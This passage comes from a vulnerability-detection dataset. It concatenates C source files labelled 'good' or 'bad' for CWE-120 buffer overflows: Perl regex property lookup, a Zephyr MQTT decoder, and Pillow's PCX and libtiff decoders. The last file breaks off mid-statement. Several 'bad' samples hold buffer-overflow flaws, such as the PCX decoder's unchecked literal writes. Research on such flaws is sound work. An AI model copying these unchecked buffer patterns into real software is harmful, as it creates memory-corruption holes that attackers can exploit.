"define"); goto append_name_to_msg; } /* Here, we are recursing; don't dig any deeper */ USER_PROP_MUTEX_UNLOCK; if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Infinite recursion in user-defined property"); goto append_name_to_msg; } /* Here, this thread has exclusive control, and there is no entry * for this property in the hash. So we have the go ahead to * expand the definition ourselves. */ PUSHSTACKi(PERLSI_MAGIC); ENTER; /* Create a temporary placeholder in the hash to detect recursion * */ SWITCH_TO_GLOBAL_CONTEXT; placeholder= newSVuv(PTR2IV(ORIGINAL_CONTEXT)); (void) hv_store_ent(PL_user_def_props, key, placeholder, 0); RESTORE_CONTEXT; /* Now that we have a placeholder, we can let other threads * continue */ USER_PROP_MUTEX_UNLOCK; /* Make sure the placeholder always gets destroyed */ SAVEDESTRUCTOR_X(S_delete_recursion_entry, SvPVX(key)); PUSHMARK(SP); SAVETMPS; /* Call the user's function, with the /i status as a parameter. * Note that we have gone to a lot of trouble to keep this call * from being within the locked mutex region. */ XPUSHs(boolSV(to_fold)); PUTBACK; /* The following block was taken from swash_init(). Presumably * they apply to here as well, though we no longer use a swash -- * khw */ SAVEHINTS(); save_re_context(); /* We might get here via a subroutine signature which uses a utf8 * parameter name, at which point PL_subname will have been set * but not yet used. */ save_item(PL_subname); (void) call_sv(user_sub_sv, G_EVAL|G_SCALAR); SPAGAIN; error = ERRSV; if (TAINT_get || SvTRUE(error)) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); if (SvTRUE(error)) { sv_catpvs(msg, "Error \""); sv_catsv(msg, error); sv_catpvs(msg, "\""); } if (TAINT_get) { if (SvTRUE(error)) sv_catpvs(msg, "; "); sv_catpvn(msg, insecure, sizeof(insecure) - 1); } if (name_len > 0) { sv_catpvs(msg, " in expansion of "); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); } (void) POPs; prop_definition = NULL; } else { /* G_SCALAR guarantees a single return value */ SV * contents = POPs; /* The contents is supposed to be the expansion of the property * definition. If the definition is deferrable, and we got an * empty string back, set a flag to later defer it (after clean * up below). */ if ( deferrable && (! SvPOK(contents) || SvCUR(contents) == 0)) { empty_return = TRUE; } else { /* Otherwise, call a function to check for valid syntax, and handle it */ prop_definition = handle_user_defined_property( name, name_len, is_utf8, to_fold, runtime, deferrable, contents, user_defined_ptr, msg, level); } } /* Here, we have the results of the expansion. Delete the * placeholder, and if the definition is now known, replace it with * that definition. We need exclusive access to the hash, and we * can't let anyone else in, between when we delete the placeholder * and add the permanent entry */ USER_PROP_MUTEX_LOCK; S_delete_recursion_entry(aTHX_ SvPVX(key)); if ( ! empty_return && (! prop_definition || is_invlist(prop_definition))) { /* If we got success we use the inversion list defining the * property; otherwise use the error message */ SWITCH_TO_GLOBAL_CONTEXT; (void) hv_store_ent(PL_user_def_props, key, ((prop_definition) ? newSVsv(prop_definition) : newSVsv(msg)), 0); RESTORE_CONTEXT; } /* All done, and the hash now has a permanent entry for this * property. Give up exclusive control */ USER_PROP_MUTEX_UNLOCK; FREETMPS; LEAVE; POPSTACK; if (empty_return) { goto definition_deferred; } if (prop_definition) { /* If the definition is for something not known at this time, * we toss it, and go return the main property name, as that's * the one the user will be aware of */ if (! is_invlist(prop_definition)) { SvREFCNT_dec_NN(prop_definition); goto definition_deferred; } sv_2mortal(prop_definition); } /* And return */ return prop_definition; } /* End of calling the subroutine for the user-defined property */ } /* End of it could be a user-defined property */ /* Here it wasn't a user-defined property that is known at this time. See * if it is a Unicode property */ lookup_len = j; /* This is a more mnemonic name than 'j' */ /* Get the index into our pointer table of the inversion list corresponding * to the property */ table_index = match_uniprop((U8 *) lookup_name, lookup_len); /* If it didn't find the property ... */ if (table_index == 0) { /* Try again stripping off any initial 'In' or 'Is' */ if (starts_with_In_or_Is) { lookup_name += 2; lookup_len -= 2; equals_pos -= 2; slash_pos -= 2; table_index = match_uniprop((U8 *) lookup_name, lookup_len); } if (table_index == 0) { char * canonical; /* Here, we didn't find it. If not a numeric type property, and * can't be a user-defined one, it isn't a legal property */ if (! is_nv_type) { if (! could_be_user_defined) { goto failed; } /* Here, the property name is legal as a user-defined one. At * compile time, it might just be that the subroutine for that * property hasn't been encountered yet, but at runtime, it's * an error to try to use an undefined one */ if (! deferrable) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Unknown user-defined property name"); goto append_name_to_msg; } goto definition_deferred; } /* End of isn't a numeric type property */ /* The numeric type properties need more work to decide. What we * do is make sure we have the number in canonical form and look * that up. */ if (slash_pos < 0) { /* No slash */ /* When it isn't a rational, take the input, convert it to a * NV, then create a canonical string representation of that * NV. */ NV value; SSize_t value_len = lookup_len - equals_pos; /* Get the value */ if ( value_len <= 0 || my_atof3(lookup_name + equals_pos, &value, value_len) != lookup_name + lookup_len) { goto failed; } /* If the value is an integer, the canonical value is integral * */ if (Perl_ceil(value) == value) { canonical = Perl_form(aTHX_ "%.*s%.0" NVff, equals_pos, lookup_name, value); } else { /* Otherwise, it is %e with a known precision */ char * exp_ptr; canonical = Perl_form(aTHX_ "%.*s%.*" NVef, equals_pos, lookup_name, PL_E_FORMAT_PRECISION, value); /* The exponent generated is expecting two digits, whereas * %e on some systems will generate three. Remove leading * zeros in excess of 2 from the exponent. We start * looking for them after the '=' */ exp_ptr = strchr(canonical + equals_pos, 'e'); if (exp_ptr) { char * cur_ptr = exp_ptr + 2; /* past the 'e[+-]' */ SSize_t excess_exponent_len = strlen(cur_ptr) - 2; assert(*(cur_ptr - 1) == '-' || *(cur_ptr - 1) == '+'); if (excess_exponent_len > 0) { SSize_t leading_zeros = strspn(cur_ptr, "0"); SSize_t excess_leading_zeros = MIN(leading_zeros, excess_exponent_len); if (excess_leading_zeros > 0) { Move(cur_ptr + excess_leading_zeros, cur_ptr, strlen(cur_ptr) - excess_leading_zeros + 1, /* Copy the NUL as well */ char); } } } } } else { /* Has a slash. Create a rational in canonical form */ UV numerator, denominator, gcd, trial; const char * end_ptr; const char * sign = ""; /* We can't just find the numerator, denominator, and do the * division, then use the method above, because that is * inexact. And the input could be a rational that is within * epsilon (given our precision) of a valid rational, and would * then incorrectly compare valid. * * We're only interested in the part after the '=' */ const char * this_lookup_name = lookup_name + equals_pos; lookup_len -= equals_pos; slash_pos -= equals_pos; /* Handle any leading minus */ if (this_lookup_name[0] == '-') { sign = "-"; this_lookup_name++; lookup_len--; slash_pos--; } /* Convert the numerator to numeric */ end_ptr = this_lookup_name + slash_pos; if (! grok_atoUV(this_lookup_name, &numerator, &end_ptr)) { goto failed; } /* It better have included all characters before the slash */ if (*end_ptr != '/') { goto failed; } /* Set to look at just the denominator */ this_lookup_name += slash_pos; lookup_len -= slash_pos; end_ptr = this_lookup_name + lookup_len; /* Convert the denominator to numeric */ if (! grok_atoUV(this_lookup_name, &denominator, &end_ptr)) { goto failed; } /* It better be the rest of the characters, and don't divide by * 0 */ if ( end_ptr != this_lookup_name + lookup_len || denominator == 0) { goto failed; } /* Get the greatest common denominator using http://en.wikipedia.org/wiki/Euclidean_algorithm */ gcd = numerator; trial = denominator; while (trial != 0) { UV temp = trial; trial = gcd % trial; gcd = temp; } /* If already in lowest possible terms, we have already tried * looking this up */ if (gcd == 1) { goto failed; } /* Reduce the rational, which should put it in canonical form * */ numerator /= gcd; denominator /= gcd; canonical = Perl_form(aTHX_ "%.*s%s%" UVuf "/%" UVuf, equals_pos, lookup_name, sign, numerator, denominator); } /* Here, we have the number in canonical form. Try that */ table_index = match_uniprop((U8 *) canonical, strlen(canonical)); if (table_index == 0) { goto failed; } } /* End of still didn't find the property in our table */ } /* End of didn't find the property in our table */ /* Here, we have a non-zero return, which is an index into a table of ptrs. * A negative return signifies that the real index is the absolute value, * but the result needs to be inverted */ if (table_index < 0) { invert_return = TRUE; table_index = -table_index; } /* Out-of band indices indicate a deprecated property. The proper index is * modulo it with the table size. And dividing by the table size yields * an offset into a table constructed by regen/mk_invlists.pl to contain * the corresponding warning message */ if (table_index > MAX_UNI_KEYWORD_INDEX) { Size_t warning_offset = table_index / MAX_UNI_KEYWORD_INDEX; table_index %= MAX_UNI_KEYWORD_INDEX; Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED), "Use of '%.*s' in \\p{} or \\P{} is deprecated because: %s", (int) name_len, name, deprecated_property_msgs[warning_offset]); } /* In a few properties, a different property is used under /i. These are * unlikely to change, so are hard-coded here. */ if (to_fold) { if ( table_index == UNI_XPOSIXUPPER || table_index == UNI_XPOSIXLOWER || table_index == UNI_TITLE) { table_index = UNI_CASED; } else if ( table_index == UNI_UPPERCASELETTER || table_index == UNI_LOWERCASELETTER # ifdef UNI_TITLECASELETTER /* Missing from early Unicodes */ || table_index == UNI_TITLECASELETTER # endif ) { table_index = UNI_CASEDLETTER; } else if ( table_index == UNI_POSIXUPPER || table_index == UNI_POSIXLOWER) { table_index = UNI_POSIXALPHA; } } /* Create and return the inversion list */ prop_definition =_new_invlist_C_array(uni_prop_ptrs[table_index]); sv_2mortal(prop_definition); /* See if there is a private use override to add to this definition */ { COPHH * hinthash = (IN_PERL_COMPILETIME) ? CopHINTHASH_get(&PL_compiling) : CopHINTHASH_get(PL_curcop); SV * pu_overrides = cophh_fetch_pv(hinthash, "private_use", 0, 0); if (UNLIKELY(pu_overrides && SvPOK(pu_overrides))) { /* See if there is an element in the hints hash for this table */ SV * pu_lookup = Perl_newSVpvf(aTHX_ "%d=", table_index); const char * pos = strstr(SvPVX(pu_overrides), SvPVX(pu_lookup)); if (pos) { bool dummy; SV * pu_definition; SV * pu_invlist; SV * expanded_prop_definition = sv_2mortal(invlist_clone(prop_definition, NULL)); /* If so, it's definition is the string from here to the next * \a character. And its format is the same as a user-defined * property */ pos += SvCUR(pu_lookup); pu_definition = newSVpvn(pos, strchr(pos, '\a') - pos); pu_invlist = handle_user_defined_property(lookup_name, lookup_len, 0, /* Not UTF-8 */ 0, /* Not folded */ runtime, deferrable, pu_definition, &dummy, msg, level); if (TAINT_get) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Insecure private-use override"); goto append_name_to_msg; } /* For now, as a safety measure, make sure that it doesn't * override non-private use code points */ _invlist_intersection(pu_invlist, PL_Private_Use, &pu_invlist); /* Add it to the list to be returned */ _invlist_union(prop_definition, pu_invlist, &expanded_prop_definition); prop_definition = expanded_prop_definition; Perl_ck_warner_d(aTHX_ packWARN(WARN_EXPERIMENTAL__PRIVATE_USE), "The private_use feature is experimental"); } } } if (invert_return) { _invlist_invert(prop_definition); } return prop_definition; failed: if (non_pkg_begin != 0) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Illegal user-defined property name"); } else { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Can't find Unicode property definition"); } /* FALLTHROUGH */ append_name_to_msg: { const char * prefix = (runtime && level == 0) ? " \\p{" : " \""; const char * suffix = (runtime && level == 0) ? "}" : "\""; sv_catpv(msg, prefix); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); sv_catpv(msg, suffix); } return NULL; definition_deferred: /* Here it could yet to be defined, so defer evaluation of this * until its needed at runtime. We need the fully qualified property name * to avoid ambiguity, and a trailing newline */ if (! fq_name) { fq_name = S_get_fq_name(aTHX_ name, name_len, is_utf8, non_pkg_begin != 0 /* If has "::" */ ); } sv_catpvs(fq_name, "\n"); *user_defined_ptr = TRUE; return fq_name; } #endif /* * ex: set ts=8 sts=4 sw=4 et: */
./CrossVul/dataset_final_sorted/CWE-120/c/bad_4012_3
crossvul-cpp_data_good_3862_0
/* * Copyright (c) 2018 Nordic Semiconductor ASA * * SPDX-License-Identifier: Apache-2.0 */ /** @file mqtt_decoder.c * * @brief Decoder functions needed for decoding packets received from the * broker. */ #include <logging/log.h> LOG_MODULE_REGISTER(net_mqtt_dec, CONFIG_MQTT_LOG_LEVEL); #include "mqtt_internal.h" #include "mqtt_os.h" /** * @brief Unpacks unsigned 8 bit value from the buffer from the offset * requested. * * @param[inout] buf A pointer to the buf_ctx structure containing current * buffer position. * @param[out] val Memory where the value is to be unpacked. * * @retval 0 if the procedure is successful. * @retval -EINVAL if the buffer would be exceeded during the read */ static int unpack_uint8(struct buf_ctx *buf, u8_t *val) { MQTT_TRC(">> cur:%p, end:%p", buf->cur, buf->end); if ((buf->end - buf->cur) < sizeof(u8_t)) { return -EINVAL; } *val = *(buf->cur++); MQTT_TRC("<< val:%02x", *val); return 0; } /** * @brief Unpacks unsigned 16 bit value from the buffer from the offset * requested. * * @param[inout] buf A pointer to the buf_ctx structure containing current * buffer position. * @param[out] val Memory where the value is to be unpacked. * * @retval 0 if the procedure is successful. * @retval -EINVAL if the buffer would be exceeded during the read */ static int unpack_uint16(struct buf_ctx *buf, u16_t *val) { MQTT_TRC(">> cur:%p, end:%p", buf->cur, buf->end); if ((buf->end - buf->cur) < sizeof(u16_t)) { return -EINVAL; } *val = *(buf->cur++) << 8; /* MSB */ *val |= *(buf->cur++); /* LSB */ MQTT_TRC("<< val:%04x", *val); return 0; } /** * @brief Unpacks utf8 string from the buffer from the offset requested. * * @param[inout] buf A pointer to the buf_ctx structure containing current * buffer position. * @param[out] str Pointer to a string that will hold the string location * in the buffer. * * @retval 0 if the procedure is successful. * @retval -EINVAL if the buffer would be exceeded during the read */ static int unpack_utf8_str(struct buf_ctx *buf, struct mqtt_utf8 *str) { u16_t utf8_strlen; int err_code; MQTT_TRC(">> cur:%p, end:%p", buf->cur, buf->end); err_code = unpack_uint16(buf, &utf8_strlen); if (err_code != 0) { return err_code; } if ((buf->end - buf->cur) < utf8_strlen) { return -EINVAL; } str->size = utf8_strlen; /* Zero length UTF8 strings permitted. */ if (utf8_strlen) { /* Point to right location in buffer. */ str->utf8 = buf->cur; buf->cur += utf8_strlen; } else { str->utf8 = NULL; } MQTT_TRC("<< str_size:%08x", (u32_t)GET_UT8STR_BUFFER_SIZE(str)); return 0; } /** * @brief Unpacks binary string from the buffer from the offset requested. * * @param[in] length Binary string length. * @param[inout] buf A pointer to the buf_ctx structure containing current * buffer position. * @param[out] str Pointer to a binary string that will hold the binary string * location in the buffer. * * @retval 0 if the procedure is successful. * @retval -EINVAL if the buffer would be exceeded during the read */ static int unpack_data(u32_t length, struct buf_ctx *buf, struct mqtt_binstr *str) { MQTT_TRC(">> cur:%p, end:%p", buf->cur, buf->end); if ((buf->end - buf->cur) < length) { return -EINVAL; } str->len = length; /* Zero length binary strings are permitted. */ if (length > 0) { str->data = buf->cur; buf->cur += length; } else { str->data = NULL; } MQTT_TRC("<< bin len:%08x", GET_BINSTR_BUFFER_SIZE(str)); return 0; } /**@brief Decode MQTT Packet Length in the MQTT fixed header. * * @param[inout] buf A pointer to the buf_ctx structure containing current * buffer position. * @param[out] length Length of variable header and payload in the * MQTT message. * * @retval 0 if the procedure is successful. * @retval -EINVAL if the length decoding would use more that 4 bytes. * @retval -EAGAIN if the buffer would be exceeded during the read. */ static int packet_length_decode(struct buf_ctx *buf, u32_t *length) { u8_t shift = 0U; u8_t bytes = 0U; *length = 0U; do { if (bytes >= MQTT_MAX_LENGTH_BYTES) { return -EINVAL; } if (buf->cur >= buf->end) { return -EAGAIN; } *length += ((u32_t)*(buf->cur) & MQTT_LENGTH_VALUE_MASK) << shift; shift += MQTT_LENGTH_SHIFT; bytes++; } while ((*(buf->cur++) & MQTT_LENGTH_CONTINUATION_BIT) != 0U); if (*length > MQTT_MAX_PAYLOAD_SIZE) { return -EINVAL; } MQTT_TRC("length:0x%08x", *length); return 0; } int fixed_header_decode(struct buf_ctx *buf, u8_t *type_and_flags, u32_t *length) { int err_code; err_code = unpack_uint8(buf, type_and_flags); if (err_code != 0) { return err_code; } return packet_length_decode(buf, length); } int connect_ack_decode(const struct mqtt_client *client, struct buf_ctx *buf, struct mqtt_connack_param *param) { int err_code; u8_t flags, ret_code; err_code = unpack_uint8(buf, &flags); if (err_code != 0) { return err_code; } err_code = unpack_uint8(buf, &ret_code); if (err_code != 0) { return err_code; } if (client->protocol_version == MQTT_VERSION_3_1_1) { param->session_present_flag = flags & MQTT_CONNACK_FLAG_SESSION_PRESENT; MQTT_TRC("[CID %p]: session_present_flag: %d", client, param->session_present_flag); } param->return_code = (enum mqtt_conn_return_code)ret_code; return 0; } int publish_decode(u8_t flags, u32_t var_length, struct buf_ctx *buf, struct mqtt_publish_param *param) { int err_code; u32_t var_header_length; param->dup_flag = flags & MQTT_HEADER_DUP_MASK; param->retain_flag = flags & MQTT_HEADER_RETAIN_MASK; param->message.topic.qos = ((flags & MQTT_HEADER_QOS_MASK) >> 1); err_code = unpack_utf8_str(buf, &param->message.topic.topic); if (err_code != 0) { return err_code; } var_header_length = param->message.topic.topic.size + sizeof(u16_t); if (param->message.topic.qos > MQTT_QOS_0_AT_MOST_ONCE) { err_code = unpack_uint16(buf, &param->message_id); if (err_code != 0) { return err_code; } var_header_length += sizeof(u16_t); } if (var_length < var_header_length) { MQTT_ERR("Corrupted PUBLISH message, header length (%u) larger " "than total length (%u)", var_header_length, var_length); return -EINVAL; } param->message.payload.data = NULL; param->message.payload.len = var_length - var_header_length; return 0; } int publish_ack_decode(struct buf_ctx *buf, struct mqtt_puback_param *param) { return unpack_uint16(buf, &param->message_id); } int publish_receive_decode(struct buf_ctx *buf, struct mqtt_pubrec_param *param) { return unpack_uint16(buf, &param->message_id); } int publish_release_decode(struct buf_ctx *buf, struct mqtt_pubrel_param *param) { return unpack_uint16(buf, &param->message_id); } int publish_complete_decode(struct buf_ctx *buf, struct mqtt_pubcomp_param *param) { return unpack_uint16(buf, &param->message_id); } int subscribe_ack_decode(struct buf_ctx *buf, struct mqtt_suback_param *param) { int err_code; err_code = unpack_uint16(buf, &param->message_id); if (err_code != 0) { return err_code; } return unpack_data(buf->end - buf->cur, buf, &param->return_codes); } int unsubscribe_ack_decode(struct buf_ctx *buf, struct mqtt_unsuback_param *param) { return unpack_uint16(buf, &param->message_id); }
./CrossVul/dataset_final_sorted/CWE-120/c/good_3862_0
crossvul-cpp_data_bad_4588_2
/* * The Python Imaging Library. * $Id$ * * decoder for PCX image data. * * history: * 95-09-14 fl Created * * Copyright (c) Fredrik Lundh 1995. * Copyright (c) Secret Labs AB 1997. * * See the README file for information on usage and redistribution. */ #include "Imaging.h" int ImagingPcxDecode(Imaging im, ImagingCodecState state, UINT8* buf, Py_ssize_t bytes) { UINT8 n; UINT8* ptr; if (strcmp(im->mode, "1") == 0 && state->xsize > state->bytes * 8) { state->errcode = IMAGING_CODEC_OVERRUN; return -1; } ptr = buf; for (;;) { if (bytes < 1) return ptr - buf; if ((*ptr & 0xC0) == 0xC0) { /* Run */ if (bytes < 2) return ptr - buf; n = ptr[0] & 0x3F; while (n > 0) { if (state->x >= state->bytes) { state->errcode = IMAGING_CODEC_OVERRUN; break; } state->buffer[state->x++] = ptr[1]; n--; } ptr += 2; bytes -= 2; } else { /* Literal */ state->buffer[state->x++] = ptr[0]; ptr++; bytes--; } if (state->x >= state->bytes) { if (state->bytes % state->xsize && state->bytes > state->xsize) { int bands = state->bytes / state->xsize; int stride = state->bytes / bands; int i; for (i=1; i< bands; i++) { // note -- skipping first band memmove(&state->buffer[i*state->xsize], &state->buffer[i*stride], state->xsize); } } /* Got a full line, unpack it */ state->shuffle((UINT8*) im->image[state->y + state->yoff] + state->xoff * im->pixelsize, state->buffer, state->xsize); state->x = 0; if (++state->y >= state->ysize) { /* End of file (errcode = 0) */ return -1; } } } }
./CrossVul/dataset_final_sorted/CWE-120/c/bad_4588_2
crossvul-cpp_data_bad_3871_3
/* * The Python Imaging Library. * $Id: //modules/pil/libImaging/TiffDecode.c#1 $ * * LibTiff-based Group3 and Group4 decoder * * * started modding to use non-private tiff functions to port to libtiff 4.x * eds 3/12/12 * */ #include "Imaging.h" #ifdef HAVE_LIBTIFF #ifndef uint #define uint uint32 #endif #include "TiffDecode.h" void dump_state(const TIFFSTATE *state){ TRACE(("State: Location %u size %d eof %d data: %p ifd: %d\n", (uint)state->loc, (int)state->size, (uint)state->eof, state->data, state->ifd)); } /* procs for TIFFOpenClient */ tsize_t _tiffReadProc(thandle_t hdata, tdata_t buf, tsize_t size) { TIFFSTATE *state = (TIFFSTATE *)hdata; tsize_t to_read; TRACE(("_tiffReadProc: %d \n", (int)size)); dump_state(state); to_read = min(size, min(state->size, (tsize_t)state->eof) - (tsize_t)state->loc); TRACE(("to_read: %d\n", (int)to_read)); _TIFFmemcpy(buf, (UINT8 *)state->data + state->loc, to_read); state->loc += (toff_t)to_read; TRACE( ("location: %u\n", (uint)state->loc)); return to_read; } tsize_t _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { TIFFSTATE *state = (TIFFSTATE *)hdata; tsize_t to_write; TRACE(("_tiffWriteProc: %d \n", (int)size)); dump_state(state); to_write = min(size, state->size - (tsize_t)state->loc); if (state->flrealloc && size>to_write) { tdata_t new_data; tsize_t newsize=state->size; while (newsize < (size + state->size)) { if (newsize > INT_MAX - 64*1024){ return 0; } newsize += 64*1024; // newsize*=2; // UNDONE, by 64k chunks? } TRACE(("Reallocing in write to %d bytes\n", (int)newsize)); /* malloc check ok, overflow checked above */ new_data = realloc(state->data, newsize); if (!new_data) { // fail out return 0; } state->data = new_data; state->size = newsize; to_write = size; } TRACE(("to_write: %d\n", (int)to_write)); _TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write); state->loc += (toff_t)to_write; state->eof = max(state->loc, state->eof); dump_state(state); return to_write; } toff_t _tiffSeekProc(thandle_t hdata, toff_t off, int whence) { TIFFSTATE *state = (TIFFSTATE *)hdata; TRACE(("_tiffSeekProc: off: %u whence: %d \n", (uint)off, whence)); dump_state(state); switch (whence) { case 0: state->loc = off; break; case 1: state->loc += off; break; case 2: state->loc = state->eof + off; break; } dump_state(state); return state->loc; } int _tiffCloseProc(thandle_t hdata) { TIFFSTATE *state = (TIFFSTATE *)hdata; TRACE(("_tiffCloseProc \n")); dump_state(state); return 0; } toff_t _tiffSizeProc(thandle_t hdata) { TIFFSTATE *state = (TIFFSTATE *)hdata; TRACE(("_tiffSizeProc \n")); dump_state(state); return (toff_t)state->size; } int _tiffMapProc(thandle_t hdata, tdata_t* pbase, toff_t* psize) { TIFFSTATE *state = (TIFFSTATE *)hdata; TRACE(("_tiffMapProc input size: %u, data: %p\n", (uint)*psize, *pbase)); dump_state(state); *pbase = state->data; *psize = state->size; TRACE(("_tiffMapProc returning size: %u, data: %p\n", (uint)*psize, *pbase)); return (1); } int _tiffNullMapProc(thandle_t hdata, tdata_t* pbase, toff_t* psize) { (void) hdata; (void) pbase; (void) psize; return (0); } void _tiffUnmapProc(thandle_t hdata, tdata_t base, toff_t size) { TRACE(("_tiffUnMapProc\n")); (void) hdata; (void) base; (void) size; } int ImagingLibTiffInit(ImagingCodecState state, int fp, uint32 offset) { TIFFSTATE *clientstate = (TIFFSTATE *)state->context; TRACE(("initing libtiff\n")); TRACE(("filepointer: %d \n", fp)); TRACE(("State: count %d, state %d, x %d, y %d, ystep %d\n", state->count, state->state, state->x, state->y, state->ystep)); TRACE(("State: xsize %d, ysize %d, xoff %d, yoff %d \n", state->xsize, state->ysize, state->xoff, state->yoff)); TRACE(("State: bits %d, bytes %d \n", state->bits, state->bytes)); TRACE(("State: context %p \n", state->context)); clientstate->loc = 0; clientstate->size = 0; clientstate->data = 0; clientstate->fp = fp; clientstate->ifd = offset; clientstate->eof = 0; return 1; } int ReadTile(TIFF* tiff, UINT32 col, UINT32 row, UINT32* buffer) { uint16 photometric; TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // To avoid dealing with YCbCr subsampling, let libtiff handle it if (photometric == PHOTOMETRIC_YCBCR) { UINT32 tile_width, tile_height, swap_line_size, i_row; UINT32* swap_line; TIFFGetField(tiff, TIFFTAG_TILEWIDTH, &tile_width); TIFFGetField(tiff, TIFFTAG_TILELENGTH, &tile_height); swap_line_size = tile_width * sizeof(UINT32); if (tile_width != swap_line_size / sizeof(UINT32)) { return -1; } /* Read the tile into an RGBA array */ if (!TIFFReadRGBATile(tiff, col, row, buffer)) { return -1; } swap_line = (UINT32*)malloc(swap_line_size); if (swap_line == NULL) { return -1; } /* * For some reason the TIFFReadRGBATile() function chooses the * lower left corner as the origin. Vertically mirror scanlines. */ for(i_row = 0; i_row < tile_height / 2; i_row++) { UINT32 *top_line, *bottom_line; top_line = buffer + tile_width * i_row; bottom_line = buffer + tile_width * (tile_height - i_row - 1); memcpy(swap_line, top_line, 4*tile_width); memcpy(top_line, bottom_line, 4*tile_width); memcpy(bottom_line, swap_line, 4*tile_width); } free(swap_line); return 0; } if (TIFFReadTile(tiff, (tdata_t)buffer, col, row, 0, 0) == -1) { TRACE(("Decode Error, Tile at %dx%d\n", col, row)); return -1; } TRACE(("Successfully read tile at %dx%d; \n\n", col, row)); return 0; } int ReadStrip(TIFF* tiff, UINT32 row, UINT32* buffer) { uint16 photometric; TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // To avoid dealing with YCbCr subsampling, let libtiff handle it if (photometric == PHOTOMETRIC_YCBCR) { TIFFRGBAImage img; char emsg[1024] = ""; UINT32 rows_per_strip, rows_to_read; int ok; TIFFGetFieldDefaulted(tiff, TIFFTAG_ROWSPERSTRIP, &rows_per_strip); if ((row % rows_per_strip) != 0) { TRACE(("Row passed to ReadStrip() must be first in a strip.")); return -1; } if (TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg)) { TRACE(("Initialized RGBAImage\n")); img.req_orientation = ORIENTATION_TOPLEFT; img.row_offset = row; img.col_offset = 0; rows_to_read = min(rows_per_strip, img.height - row); TRACE(("rows to read: %d\n", rows_to_read)); ok = TIFFRGBAImageGet(&img, buffer, img.width, rows_to_read); TIFFRGBAImageEnd(&img); } else { ok = 0; } if (ok == 0) { TRACE(("Decode Error, row %d; msg: %s\n", row, emsg)); return -1; } return 0; } if (TIFFReadEncodedStrip(tiff, TIFFComputeStrip(tiff, row, 0), (tdata_t)buffer, -1) == -1) { TRACE(("Decode Error, strip %d\n", TIFFComputeStrip(tiff, row, 0))); return -1; } return 0; } int ImagingLibTiffDecode(Imaging im, ImagingCodecState state, UINT8* buffer, Py_ssize_t bytes) { TIFFSTATE *clientstate = (TIFFSTATE *)state->context; char *filename = "tempfile.tif"; char *mode = "r"; TIFF *tiff; /* buffer is the encoded file, bytes is the length of the encoded file */ /* it all ends up in state->buffer, which is a uint8* from Imaging.h */ TRACE(("in decoder: bytes %d\n", bytes)); TRACE(("State: count %d, state %d, x %d, y %d, ystep %d\n", state->count, state->state, state->x, state->y, state->ystep)); TRACE(("State: xsize %d, ysize %d, xoff %d, yoff %d \n", state->xsize, state->ysize, state->xoff, state->yoff)); TRACE(("State: bits %d, bytes %d \n", state->bits, state->bytes)); TRACE(("Buffer: %p: %c%c%c%c\n", buffer, (char)buffer[0], (char)buffer[1],(char)buffer[2], (char)buffer[3])); TRACE(("State->Buffer: %c%c%c%c\n", (char)state->buffer[0], (char)state->buffer[1],(char)state->buffer[2], (char)state->buffer[3])); TRACE(("Image: mode %s, type %d, bands: %d, xsize %d, ysize %d \n", im->mode, im->type, im->bands, im->xsize, im->ysize)); TRACE(("Image: image8 %p, image32 %p, image %p, block %p \n", im->image8, im->image32, im->image, im->block)); TRACE(("Image: pixelsize: %d, linesize %d \n", im->pixelsize, im->linesize)); dump_state(clientstate); clientstate->size = bytes; clientstate->eof = clientstate->size; clientstate->loc = 0; clientstate->data = (tdata_t)buffer; clientstate->flrealloc = 0; dump_state(clientstate); TIFFSetWarningHandler(NULL); TIFFSetWarningHandlerExt(NULL); if (clientstate->fp) { TRACE(("Opening using fd: %d\n",clientstate->fp)); lseek(clientstate->fp,0,SEEK_SET); // Sometimes, I get it set to the end. tiff = TIFFFdOpen(clientstate->fp, filename, mode); } else { TRACE(("Opening from string\n")); tiff = TIFFClientOpen(filename, mode, (thandle_t) clientstate, _tiffReadProc, _tiffWriteProc, _tiffSeekProc, _tiffCloseProc, _tiffSizeProc, _tiffMapProc, _tiffUnmapProc); } if (!tiff){ TRACE(("Error, didn't get the tiff\n")); state->errcode = IMAGING_CODEC_BROKEN; return -1; } if (clientstate->ifd){ int rv; uint32 ifdoffset = clientstate->ifd; TRACE(("reading tiff ifd %u\n", ifdoffset)); rv = TIFFSetSubDirectory(tiff, ifdoffset); if (!rv){ TRACE(("error in TIFFSetSubDirectory")); return -1; } } if (TIFFIsTiled(tiff)) { UINT32 x, y, tile_y, row_byte_size; UINT32 tile_width, tile_length, current_tile_width; UINT8 *new_data; TIFFGetField(tiff, TIFFTAG_TILEWIDTH, &tile_width); TIFFGetField(tiff, TIFFTAG_TILELENGTH, &tile_length); // We could use TIFFTileSize, but for YCbCr data it returns subsampled data size row_byte_size = (tile_width * state->bits + 7) / 8; /* overflow check for realloc */ if (INT_MAX / row_byte_size < tile_length) { state->errcode = IMAGING_CODEC_MEMORY; TIFFClose(tiff); return -1; } state->bytes = row_byte_size * tile_length; /* realloc to fit whole tile */ /* malloc check above */ new_data = realloc (state->buffer, state->bytes); if (!new_data) { state->errcode = IMAGING_CODEC_MEMORY; TIFFClose(tiff); return -1; } state->buffer = new_data; TRACE(("TIFFTileSize: %d\n", state->bytes)); for (y = state->yoff; y < state->ysize; y += tile_length) { for (x = state->xoff; x < state->xsize; x += tile_width) { if (ReadTile(tiff, x, y, (UINT32*) state->buffer) == -1) { TRACE(("Decode Error, Tile at %dx%d\n", x, y)); state->errcode = IMAGING_CODEC_BROKEN; TIFFClose(tiff); return -1; } TRACE(("Read tile at %dx%d; \n\n", x, y)); current_tile_width = 